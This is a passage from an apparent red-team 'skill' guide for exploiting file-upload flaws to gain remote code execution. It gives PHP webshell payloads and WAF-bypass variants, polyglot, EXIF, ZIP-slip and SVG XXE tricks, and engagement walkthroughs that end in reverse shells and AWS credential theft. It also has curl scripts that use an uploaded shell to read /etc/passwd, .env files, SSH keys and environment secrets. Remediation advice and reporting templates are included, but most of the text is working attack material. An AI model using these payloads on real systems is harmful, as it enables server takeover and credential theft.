    '<?php preg_replace("/.+/e","system(\"id\")","x"); ?>',
    
    # array_map
    '<?php array_map("system",[$_GET["c"]]); ?>',
    
    # usort
    '<?php usort([$_GET["c"]],"system"); ?>',
]

for i, p in enumerate(payloads):
    with open(f'/tmp/waf_bypass_{i}.php', 'w') as f:
        f.write(p)
    print(f"[{i}] {p[:60]}...")
EOF
```

---

## 5. Common Payloads and Examples

### Quick Reference Payload Table

| Scenario | Payload | Notes |
|---|---|---|
| PHP minimal | `<?php system($_GET[0]);?>` | Shortest working shell |
| PHP POST | `<?php echo shell_exec($_POST['c']);?>` | Avoids GET logging |
| PHP eval | `<?php eval($_POST['c']);?>` | Full PHP execution |
| PHP base64 | `<?php eval(base64_decode($_POST['d']));?>` | Evades string WAF |
| ASP.NET | See shell.aspx above | C# Process.Start |
| JSP | See shell.jsp above | Runtime.exec |
| GIF polyglot | `GIF89a<?php system($_GET['c']);?>` | MIME + exec |
| EXIF injection | `exiftool -Comment='<?php...'` | Survives image processing |
| ZIP slip | Path: `../../webroot/shell.php` | Arbitrary write |
| SVG XXE | `<!ENTITY xxe SYSTEM "file:///etc/passwd">` | Data exfil |

### Execution Function Reference (PHP)

```php
// All of these can execute system commands:
system()          // Returns last line, prints all
exec()            // Returns last line
shell_exec()      // Returns full output as string
passthru()        // Sends raw output to browser
popen()           // Opens process file pointer
proc_open()       // Full pipe control
`command`         // Backtick operator = shell_exec
pcntl_exec()      // Replaces current process
assert()          // eval() in disguise (PHP5)
eval()            // Execute arbitrary PHP
preg_replace()    // /e modifier (PHP < 7.0)
call_user_func()  // Indirect call
array_map()       // Indirect call
usort()           // Indirect call
array_filter()    // Indirect call
uasort()          // Indirect call
create_function() // eval() in disguise (PHP < 8.0)
```

---

## 6. Real-World Engagement Examples

### Example 1 — E-commerce Avatar Upload (PHP + Apache)

**Scenario:** SaaS e-commerce platform allowed avatar upload. Validated extension client-side only. No server-side content check.

**Steps taken:**
1. Intercepted upload request in Burp.
2. Changed filename from `avatar.jpg` to `avatar.php` in multipart.
3. Changed Content-Type to `image/jpeg` to avoid server-side MIME rejection.
4. Added GIF magic bytes as first 6 bytes.
5. Uploaded, received `/uploads/users/12847/avatar.php`.
6. `curl https://target.com/uploads/users/12847/avatar.php?cmd=id` returned `uid=33(www-data)`.
7. Escalated to reverse shell, found AWS credentials in `.env`.

**Key bypass:** Extension checked only in JavaScript. MIME type checked but not content.

**Autodoc entry:**
```yaml
finding: file-upload-rce
severity: critical
endpoint: POST /api/user/avatar
parameter: file
bypass: client-side-only extension check + MIME header spoof
impact: rce-as-www-data + aws-credential-exposure
cwe: 434
evidence: shell output screenshot + /etc/passwd dump
```

### Example 2 — Document Management System (Java / Spring Boot)

**Scenario:** Document portal accepted PDF uploads. Backend used Apache Tika for MIME detection.

**Steps taken:**
1. Tika detected real content — pure PHP upload rejected.
2. Created polyglot: real valid PDF with PHP payload in trailer comment.
3. Renamed to `.jsp` — Tika saw PDF, Spring served JSP.
4. Found that uploaded files stored under `/var/uploads/` were NOT web-accessible.
5. Used ZIP slip to write JSP to `/var/www/tomcat/webapps/ROOT/backdoor.jsp`.
6. Accessed `https://target.com/backdoor.jsp?cmd=id`.

**Key bypass:** ZIP slip to cross directory boundary from non-web to web path.

### Example 3 — Media Platform (Node.js + Sharp image processing)

**Scenario:** Video thumbnail upload. Sharp (libvips) used for image validation.

**Steps taken:**
1. Sharp validates image structure — invalid images rejected.
2. Uploaded valid 1x1 PNG — accepted.
3. Tested SVG upload — accepted as image type.
4. SVG with JavaScript `<script>` tag — rendered in admin panel = stored XSS.
5. Escalated: SVG with SSRF to internal metadata service `http://169.254.169.254`.
6. Retrieved IAM role credentials from EC2 metadata.

**Key bypass:** SVG treated as image but executed as XML in browser and on server.

### Example 4 — HR Portal (ASP.NET + IIS)

**Scenario:** CV upload accepting `.doc`, `.pdf`. Running IIS 7.5.

**Steps taken:**
1. Tried `.aspx` — blocked.
2. Tried `.asp;.pdf` — IIS semicolon parsing: IIS treats `shell.asp;.pdf` as `shell.asp`.
3. Upload accepted (extension check saw `.pdf`).
4. Accessed `https://target.com/uploads/cv/shell.asp;.pdf` — IIS executed as ASP.
5. Classic ASP shell responded to `POST .CMD=whoami`.

**Key bypass:** IIS semicolon path parsing vulnerability.

---

## 7. Detection and Post-Exploitation

### Detecting Upload Endpoint Misconfigurations

```bash
# Check if uploaded files are web-accessible at all (before investing in bypass)
python3 << 'EOF'
import requests

base = "https://TARGET"
common_paths = [
    "/uploads/", "/upload/", "/files/", "/file/",
    "/media/", "/assets/", "/static/uploads/",
    "/public/uploads/", "/content/uploads/",
    "/wp-content/uploads/", "/images/uploads/",
    "/user-uploads/", "/attachments/",
    "/tmp/", "/storage/", "/data/",
]

for path in common_paths:
    r = requests.get(base + path + "test.php", timeout=5, allow_redirects=False)
    print(f"[{r.status_code}] {path}")
EOF

# Check if server processes PHP in upload directories
# Test: upload a file that returns a known string
curl -s -X POST https://TARGET/upload \
  -F "file=@/dev/stdin;filename=probe.php" \
  -b "session=YOUR_SESSION" \
  <<< '<?php echo "RTEXIT_PROBE_" . md5("confirm") . "_END"; ?>'

# Then check if the probe string was hashed (PHP ran) or echoed raw
```

### Post-Shell Enumeration

```bash
SHELL="https://TARGET/uploads/shell.php"
CMD() { curl -s "${SHELL}?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$1'))")"; }

CMD "id"
CMD "whoami"
CMD "uname -a"
CMD "cat /etc/passwd"
CMD "cat /etc/hostname"
CMD "cat /proc/version"
CMD "env"
CMD "printenv"
CMD "cat /var/www/html/.env 2>/dev/null || cat /var/www/.env 2>/dev/null"
CMD "find / -name '*.env' 2>/dev/null | head -20"
CMD "find / -name 'config.php' 2>/dev/null | head -20"
CMD "find / -perm -4000 2>/dev/null"  # SUID binaries
CMD "sudo -l 2>/dev/null"
CMD "crontab -l 2>/dev/null"
CMD "ps aux"
CMD "netstat -tlnp 2>/dev/null || ss -tlnp"
CMD "cat /etc/crontab"
CMD "find /home -name 'id_rsa' 2>/dev/null"
CMD "cat ~/.ssh/authorized_keys 2>/dev/null"
CMD "aws sts get-caller-identity 2>/dev/null"  # AWS credentials check
```

---

## 8. Integration with RTExit Autodoc Engine

### Autodoc Tags and Metadata Schema

All findings from this skill are formatted for the RTExit autodoc engine. After each successful exploit, generate the following documentation block:

```bash
# Generate autodoc entry
python3 << 'PYEOF'
import json, datetime, hashlib, subprocess

def gen_autodoc(finding):
    finding['id'] = 'UPLOAD-' + hashlib.md5(
        (finding['endpoint'] + finding['bypass']).encode()
    ).hexdigest()[:8].upper()
    finding['timestamp'] = datetime.datetime.utcnow().isoformat() + 'Z'
    return finding

entry = gen_autodoc({
    "skill": "rt-exploit-file-upload",
    "type": "file-upload-rce",
    "severity": "critical",
    "cvss": "9.8",
    "cwe": "CWE-434",
    "endpoint": "POST /api/upload",
    "parameter": "file",
    "bypass": "MIME-spoof + magic-bytes + extension-swap",
    "payload_file": "/tmp/shell_gif.php",
    "shell_url": "https://TARGET/uploads/shell.php",
    "evidence": [
        "screenshots/upload_shell_upload.png",
        "screenshots/upload_rce_id.png",
        "logs/upload_request.txt"
    ],
    "impact": "RCE as www-data, full server compromise",
    "remediation": "Validate file type server-side using content inspection; store uploads outside web root; rename files to random UUIDs; serve through non-executing handler",
    "tags": ["#finding:file-upload-bypass", "#finding:rce-via-upload", "#severity:critical", "#cwe:434"]
})

print(json.dumps(entry, indent=2))
PYEOF
```

### RTExit Report Integration

```bash
# Save finding to RTExit finding store
FINDING_DIR="c:/Ahmed/Projects/RTExit/.findings/$(date +%Y%m%d)"
mkdir -p "$FINDING_DIR"

cat > "${FINDING_DIR}/upload-rce-$(date +%H%M%S).json" << 'EOF'
{
  "skill": "rt-exploit-file-upload",
  "title": "Unrestricted File Upload Leading to Remote Code Execution",
  "severity": "CRITICAL",
  "cvss_score": 9.8,
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
  "cwe": "CWE-434: Unrestricted Upload of File with Dangerous Type",
  "owasp": "A04:2021 - Insecure Design",
  "endpoint": "POST /upload",
  "parameter": "file",
  "bypass_chain": [
    "1. Extension check is blacklist-based and incomplete",
    "2. MIME type checked from Content-Type header only",
    "3. File content not inspected",
    "4. Uploaded file stored in web-accessible directory"
  ],
  "impact": "Attacker uploads executable file and achieves RCE on web server",
  "evidence": [],
  "remediation": {
    "immediate": "Disable file upload functionality or move uploads outside web root",
    "short_term": [
      "Implement whitelist-based extension validation",
      "Validate MIME type from file content (magic bytes), not header",
      "Store uploads outside web root with UUID filenames",
      "Serve uploads through a non-executing download handler"
    ],
    "long_term": [
      "Use a dedicated file storage service (S3, Azure Blob)",
      "Implement virus/malware scanning on upload",
      "Apply Content Security Policy to prevent JS execution from uploads",
      "Monitor upload directories for executable file creation"
    ]
  }
}
EOF

echo "[+] Finding saved to ${FINDING_DIR}"
```

### Screenshot Capture for Evidence

```bash
# Capture evidence of successful RCE
SHELL_URL="https://TARGET/uploads/shell.php"
EVIDENCE_DIR="/tmp/rt-evidence/$(date +%Y%m%d-%H%M%S)"
mkdir -p "$EVIDENCE_DIR"

# Capture command output as text evidence
curl -s "${SHELL_URL}?cmd=id" > "${EVIDENCE_DIR}/01-id.txt"
curl -s "${SHELL_URL}?cmd=uname+-a" > "${EVIDENCE_DIR}/02-uname.txt"
curl -s "${SHELL_URL}?cmd=cat+/etc/passwd" > "${EVIDENCE_DIR}/03-passwd.txt"
curl -s "${SHELL_URL}?cmd=hostname" > "${EVIDENCE_DIR}/04-hostname.txt"
curl -s "${SHELL_URL}?cmd=env" > "${EVIDENCE_DIR}/05-env.txt"

# Save the upload request/response for the report
echo "Evidence saved to: ${EVIDENCE_DIR}"
ls -la "${EVIDENCE_DIR}/"
```

---

## 9. Output and Documentation Instructions

### Minimum Required Evidence Per Finding

1. **Upload request** — full HTTP request including headers and multipart body (Burp export or curl `-v` output)
2. **Upload response** — server response confirming file was stored
3. **Shell access proof** — output of `id`, `whoami`, `hostname`, `uname -a`
4. **File location** — confirmed URL of uploaded shell
5. **Impact demonstration** — read a sensitive file (e.g., `/etc/passwd`, `.env`, AWS metadata)

### Severity Rating Guide

| Condition | Severity |
|---|---|
| RCE as root or SYSTEM | Critical |
| RCE as web user (www-data, IIS user) | Critical |
| RCE with subsequent privilege escalation possible | Critical |
| Arbitrary file write to web root | High |
| ZIP slip to sensitive non-web path | High |
| SVG XSS stored | Medium-High |
| SSRF via image processing | Medium-High |
| Upload of files that are served but not executed | Low-Medium |

### Documentation Template (Markdown)

```markdown
## [UPLOAD-XXXX] Unrestricted File Upload — Remote Code Execution

**Severity:** Critical
**CWE:** CWE-434
**CVSS:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**Endpoint:** POST /upload
**Authenticated:** Yes / No

### Description
The application allows uploading of files without adequately validating the file type
on the server side. An attacker can upload a PHP webshell and execute arbitrary
operating system commands with the privileges of the web server process.

### Steps to Reproduce
1. Navigate to [upload feature URL].
2. Intercept the upload request with Burp Suite.
3. Replace the uploaded file content with `<?php system($_GET['cmd']); ?>`.
4. Change the filename to `shell.php` and Content-Type to `image/jpeg`.
5. Forward the request. The server responds with the shell URL: `/uploads/shell.php`.
6. Access `https://TARGET/uploads/shell.php?cmd=id` to execute commands.

### Evidence
- Screenshot: upload request (Burp)
- Screenshot: RCE output showing `uid=33(www-data)`

### Impact
Full Remote Code Execution on the web server. An attacker can:
- Read all application source code and credentials
- Access databases
- Move laterally within the internal network
- Establish persistent access

### Remediation
- Validate file type using magic bytes (server-side content inspection)
- Whitelist permitted file extensions
- Store uploads outside the web root
- Serve uploads through a dedicated non-executing handler
- Rename all uploaded files to random UUIDs
```

---

## 10. Resources

### Tools

| Tool | URL | Purpose |
|---|---|---|
| Burp Suite | https://portswigger.net/burp | Request interception and manipulation |
| ExifTool | https://exiftool.org | EXIF metadata manipulation |
| ffuf | https://github.com/ffuf/ffuf | Upload endpoint fuzzing |
| Nuclei | https://github.com/projectdiscovery/nuclei | Upload vulnerability templates |
| Metasploit | https://github.com/rapid7/metasploit-framework | Post-exploitation modules |
| weevely | https://github.com/epinna/weevely3 | Obfuscated PHP webshell generator |
| p0wny-shell | https://github.com/flozz/p0wny-shell | Full-featured PHP webshell |
| b374k | https://github.com/b374k/b374k | PHP webshell with file manager |
| antsword | https://github.com/AntSwordProject/antSword | Webshell management client |

### Wordlists and Extension Lists

```
# SecLists — file upload bypass extensions
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-most-common.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

# PayloadsAllTheThings — file upload bypasses
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
```

### CVEs and Vulnerability References

| CVE | Vulnerability | Affected Software |
|---|---|---|
| CVE-2016-3714 | ImageTragick RCE via delegate | ImageMagick < 6.9.3-10 |
| CVE-2018-16509 | Ghostscript RCE via PostScript | Ghostscript < 9.24 |
| CVE-2019-6116 | Ghostscript bypass | Ghostscript < 9.28 |
| CVE-2021-22205 | GitLab RCE via image upload (ExifTool) | GitLab < 13.10.3 |
| CVE-2022-1388 | F5 BIG-IP RCE | F5 BIG-IP |
| CVE-2023-4966 | Citrix Bleed | Citrix NetScaler |

### Reading and Learning

```
# PortSwigger Web Security Academy — File Upload Vulnerabilities
https://portswigger.net/web-security/file-upload

# OWASP Testing Guide — OTG-BUSLOGIC-009
https://owasp.org/www-project-web-security-testing-guide/

# HackTricks — File Upload
https://book.hacktricks.xyz/pentesting-web/file-upload

# PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

# ImageMagick exploit details
https://imagetragick.com/

# ZIP Slip research (Snyk)
https://snyk.io/research/zip-slip-vulnerability

# ExifTool arbitrary code execution (GitLab case study)
https://devcraft.io/2021/05/04/gitlab-universal-code-execution-due-to-path-traversal-in-exiftool.html

# Real-world upload bypass writeups (HackerOne)
https://hackerone.com/reports/808287
https://hackerone.com/reports/880099
https://hackerone.com/reports/683251
```

### Nuclei Templates for Upload Testing

```bash
# Install community templates
nuclei -update-templates

# Run file upload specific templates
nuclei -u https://TARGET -t vulnerabilities/generic/file-upload-rce.yaml
nuclei -u https://TARGET -t vulnerabilities/generic/arbitrary-file-upload.yaml
nuclei -u https://TARGET -t exposures/files/php-shell.yaml

# Custom nuclei template for upload endpoint detection
cat > /tmp/upload-detect.yaml << 'EOF'
id: upload-endpoint-detect
info:
  name: File Upload Endpoint Detection
  severity: info
  tags: file-upload,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/upload"
      - "{{BaseURL}}/api/upload"
      - "{{BaseURL}}/file/upload"
      - "{{BaseURL}}/media/upload"
      - "{{BaseURL}}/document/upload"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "multipart"
          - "file upload"
          - "choose file"
          - "drag and drop"
        condition: or
        case-insensitive: true
      - type: status
        status:
          - 200
          - 405
EOF

nuclei -u https://TARGET -t /tmp/upload-detect.yaml
```

---

*Generated by RTExit skill engine — rt-exploit-file-upload*
*Classification: RED TEAM INTERNAL — Handle per engagement rules of engagement*
